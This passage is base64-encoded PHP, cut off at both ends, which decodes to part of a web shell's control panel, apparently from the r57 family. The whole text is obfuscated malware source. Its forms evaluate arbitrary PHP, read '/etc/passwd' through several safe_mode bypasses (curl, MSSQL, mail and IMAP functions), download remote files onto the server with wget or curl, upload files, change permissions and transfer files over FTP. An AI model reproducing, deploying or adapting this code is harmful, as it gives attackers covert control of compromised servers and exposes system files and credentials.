d3MoNCkuIjwvYj4iLCI8c2VsZWN0IG5hbWU9YWxpYXM+Ii4kYWxpYXNlczIuIjwvc2VsZWN0PiIuaW4o J2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRs YW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0K fQ0KDQppZigkc2FmZV9tb2RlKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRs YW5ndWFnZS4nX3RleHQ1NyddLCdpZDQnKS4kdGFibGVfdXAyLmRpdignaWQ0JykuJHRzOw0KZWNobyBz cigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0 JywnbWtfbmFtZScsNTQsKCFlbXB0eSgkX1BPU1RbJ21rX25hbWUnXSk/KCRfUE9TVFsnbWtfbmFtZSdd KTooIm5ld19uYW1lIikpKS53cyg0KS4iPHNlbGVjdCBuYW1lPWFjdGlvbj48b3B0aW9uIHZhbHVlPWNy ZWF0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRl bGV0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NiddLiI8L29wdGlvbj48L3NlbGVjdD4iLndzKDMp LiI8c2VsZWN0IG5hbWU9d2hhdD48b3B0aW9uIHZhbHVlPWZpbGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190

ZXh0NTknXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kaXI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0 NjAnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnY21kJywwLCdtaycpLmluKCdoaWRk ZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3Vh Z2UuJ19idXR0MTMnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYo JHNhZmVfbW9kZSAmJiAkdW5peCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NjcnXSwnaWQ1JykuJHRhYmxlX3VwMi5kaXYoJ2lkNScpLiR0czsNCmVjaG8g c3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY4J10uJGFycm93LiI8L2I+IiwiPHNlbGVj dCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1tb2Q+Q0hNT0Q8L29wdGlvbj48b3B0aW9uIHZhbHVlPW93 bj5DSE9XTjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Z3JwPkNIR1JQPC9vcHRpb24+PC9zZWxlY3Q+Ii53 cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjknXS4kYXJyb3cuIjwvYj4iLndzKDIpLmlu KCd0ZXh0JywncGFyYW0xJyw0MCwoKCRfUE9TVFsncGFyYW0xJ10pPygkX1BPU1RbJ3BhcmFtMSddKToo ImZpbGVuYW1lIikpKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzAnXS4kYXJyb3cu IjwvYj4iLndzKDIpLmluKCd0ZXh0JywncGFyYW0yIHRpdGxlPSInLiRsYW5nWyRsYW5ndWFnZS4nX3Rl eHQ3MSddLiciJywyNiwoKCRfUE9TVFsncGFyYW0yJ10pPygkX1BPU1RbJ3BhcmFtMiddKTooIjA3Nzci KSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NoXycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3Mo NCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hv ICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2 X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NCddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3 JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTInXS4kYXJyb3cu IjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJt aXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdb JGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGly KS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5p bigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4o J2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsN CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCEkc2FmZV9tb2RlICYmICR1bml4 KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3Nidd LCdpZDgnKS4kdGFibGVfdXAyLmRpdignaWQ4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4 dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10p KTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDczJ10uJGFycm93LiI8L2I+ IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVj aG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J10uJGFycm93LiI8L2I+Iixpbign dGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSdd LmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikp Ow0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3Vw MS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkOScpLiR0YWJsZV91cDIuJGZv bnQ7DQplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQ5JykuIjx0ZXh0YXJlYSBuYW1lPXBo cF9ldmFsIGNvbHM9MTAwIHJvd3M9Mz4iOw0KZWNobyAoIWVtcHR5KCRfUE9TVFsncGhwX2V2YWwnXSk/ KCRfUE9TVFsncGhwX2V2YWwnXSk6KCIvKiBkZWxldGUgc2NyaXB0ICovXHJcbi8vdW5saW5rKFwiWGdy MHVwVk4ucGhwXCIpO1xyXG4vL3JlYWRmaWxlKFwiL2V0Yy9wYXNzd2RcIik7IikpOw0KZWNobyAiPC90 ZXh0YXJlYT4iOw0KZWNobyBpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQn LDAsJ3BocF9ldmFsJyk7DQplY2hvICI8YnI+Ii53cygxKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRs YW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pOw0KZWNobyAiPC9kaXY+PC9kaXY+PC9mb250PiI7DQplY2hv ICR0YWJsZV9lbmQxLiRmZTsNCmlmKCRzYWZlX21vZGUmJiRjdXJsX29uKQ0Kew0KZWNobyAkZnMuJHRh YmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTAnKS4kdGFibGVf dXAyLmRpdignaWQxMCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4 dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxX2ZpbGUnLDg1LCghZW1wdHkoJF9QT1NU Wyd0ZXN0MV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4o J2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MScpLndzKDQpLmlu KCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUu JzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSkNCnsNCmVjaG8gJGZzLiR0 YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNCddLCdpZDExJykuJHRhYmxl X3VwMi5kaXYoJ2lkMTEnKS4kdHM7DQplY2hvICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUg YWxpZ249Y2VudGVyPiI7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCdd LiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Ml9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVz dDJfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRk ZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDInKS53cyg0KS5pbignc3Vi bWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rp

dj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCg0KDQppZigkc2FmZV9tb2RlJiYkbXNzcWxfb24pDQp7DQpl Y2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQx MycpLiR0YWJsZV91cDIuZGl2KCdpZDEzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFu Z3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDRfbWQnLDE1LCghZW1w dHkoJF9QT1NUWyd0ZXN0NF9tZCddKT8oJF9QT1NUWyd0ZXN0NF9tZCddKTooIm1hc3RlciIpKSkud3Mo NCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcs J3Rlc3Q0X21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWwnXSk/KCRfUE9TVFsndGVzdDRfbWwn XSk6KCJzYSIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8 L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbXAnXSk/KCRf UE9TVFsndGVzdDRfbXAnXSk6KCJwYXNzd29yZCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdl LidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X3BvcnQnLDE1LCghZW1wdHko JF9QT1NUWyd0ZXN0NF9wb3J0J10pPygkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk6KCIxNDMzIikpKSk7DQpl Y2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+Iixpbign dGV4dCcsJ3Rlc3Q0X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9maWxlJ10pPygkX1BPU1Rb J3Rlc3Q0X2ZpbGUnXSk6KCJkaXIiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRl bicsJ2NtZCcsMCwndGVzdDQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5n dWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlm KCRzYWZlX21vZGUmJiR1bml4JiZmdW5jdGlvbl9leGlzdHMoJ21iX3NlbmRfbWFpbCcpKXsNCmVjaG8g JGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTInXSwnaWQyMicp LiR0YWJsZV91cDIuZGl2KCdpZDIyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3Vh Z2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDVfZmlsZScsOTYsKCFlbXB0 eSgkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDVfZmlsZSddKTooIi9ldGMvcGFzc3dk IikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q1Jyku d3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQpl Y2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZmdW5jdGlv bl9leGlzdHMoJ2ltYXBfbGlzdCcpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5n WyRsYW5ndWFnZS4nX3RleHQxMTMnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOw0K ZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4o J3RleHQnLCd0ZXN0Nl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDZfZmlsZSddKT8oJF9QT1NU Wyd0ZXN0Nl9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRl bicsJ2NtZCcsMCwndGVzdDYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5n dWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlm KCRzYWZlX21vZGUmJmZ1bmN0aW9uX2V4aXN0cygnaW1hcF9ib2R5Jykpew0KZWNobyAkZnMuJHRhYmxl X3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNCddLCdpZDI0JykuJHRhYmxlX3Vw Mi5kaXYoJ2lkMjQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQz MCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0N19maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsn dGVzdDdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0N19maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdo aWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDcnKS53cyg0KS5pbign c3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8 L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFi bGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE1J10sJ2lkMjUnKS4kdGFibGVf dXAyLmRpdignaWQyNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4 dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OF9maWxlMScsOTYsKCFlbXB0eSgkX1BP U1RbJ3Rlc3Q4X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10pOigiL2V0Yy9wYXNzd2QiKSkp LmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDgnKSk7DQpl Y2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTcnXS4kYXJyb3cuIjwvYj4iLGlu KCd0ZXh0JywndGVzdDhfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMiddKT8oJF9Q T1NUWyd0ZXN0OF9maWxlMiddKTooJGRpcikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRs YW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRm ZTsNCn0NCmlmKEBpbmlfZ2V0KCdmaWxlX3VwbG9hZHMnKSl7DQplY2hvICI8Zm9ybSBuYW1lPXVwbG9h ZCBtZXRob2Q9UE9TVCBFTkNUWVBFPW11bHRpcGFydC9mb3JtLWRhdGE+IjsNCmVjaG8gJHRhYmxlX3Vw MS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2 KCdpZDE0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRh cnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZScsODUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIu JGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCduZjEg aWQ9bmYxJywwLCcxJykuaW4oJ3RleHQnLCduZXdfbmFtZScsODIsJycpLmluKCdoaWRkZW4nLCdkaXIn LDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0 MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZighJHNhZmVfbW9k ZSYmJHVuaXgpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidf dGV4dDE1J10sJ2lkMTUnKS4kdGFibGVfdXAyLmRpdignaWQxNScpLiR0czsNCmVjaG8gc3IoMTUsIjxi

PiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwi MVwiIG5hbWU9XCJ3aXRoXCI+PG9wdGlvbiB2YWx1ZT1cIndnZXRcIj53Z2V0PC9vcHRpb24+PG9wdGlv biB2YWx1ZT1cImZldGNoXCI+ZmV0Y2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwibHlueFwiPmx5bng8 L29wdGlvbj48b3B0aW9uIHZhbHVlPVwibGlua3NcIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9 XCJjdXJsXCI+Y3VybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJHRVRcIj5HRVQ8L29wdGlvbj48L3Nl bGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdl LidfdGV4dDE3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3JlbV9maWxlJyw3OCwnaHR0cDovLycp KTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+ IixpbigndGV4dCcsJ2xvY19maWxlJywxMDUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcs MCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5k MS4kZmU7DQp9DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0ODYnXSwnaWQxNicpLiR0YWJsZV91cDIuZGl2KCdpZDE2JykuJHRzOw0KZWNobyBzcigxNSwiPGI+ Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZF9uYW1l Jyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkb3dubG9hZF9maWxlJykuaW4oJ2hpZGRlbics J2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4n X2J1dHQxNCddKSk7DQokYXJoID0gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkyJ107DQppZihAZnVuY3Rp b25fZXhpc3RzKCdnemNvbXByZXNzJykpIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwn emlwJykuJyB6aXAnOyAgIH0NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpICAgeyAkYXJo IC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdnemlwJykuJyBnemlwJzsgfQ0KaWYoQGZ1bmN0aW9u X2V4aXN0cygnYnpjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ2J6 aXAnKS4nIGJ6aXAnOyB9DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MSdd LiRhcnJvdy4iPC9iPiIsaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ25vbmUnLDEpLicgJy4kYXJoKTsN CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoImZ0 cF9jb25uZWN0Iikpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0OTMnXSwnaWQxNycpLiR0YWJsZV91cDIuZGl2KCdpZDE3JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2 YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+ PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwv ZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4 J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsNDUsKCFlbXB0eSgkX1BP U1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4w LjE6MjEiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFy cm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dp biddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsNCmVjaG8gc3IoMjUsIjxi PiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9w YXNzd29yZCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFz c3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQ4OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfZmlsZScsNDUs KCFlbXB0eSgkX1BPU1RbJ2Z0cF9maWxlJ10pPygkX1BPU1RbJ2Z0cF9maWxlJ10pOigiL2Z0cC1kaXIv ZmlsZSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2ZpbGVfZG93bicpKTsNCmVjaG8gc3IoMjUs IjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xv Y19maWxlJyw0NSwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5 MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8 L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2Rp cicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxh bmd1YWdlLidfYnV0dDE0J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10 b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2 IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAwJ10uIjwvZGl2Pjwv Yj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFy cm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0 cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEi KSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8 L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8o JF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29y ZCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQn XSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikp Ow0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4i LGluKCd0ZXh0JywnZnRwX2ZpbGUnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NU WydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9m

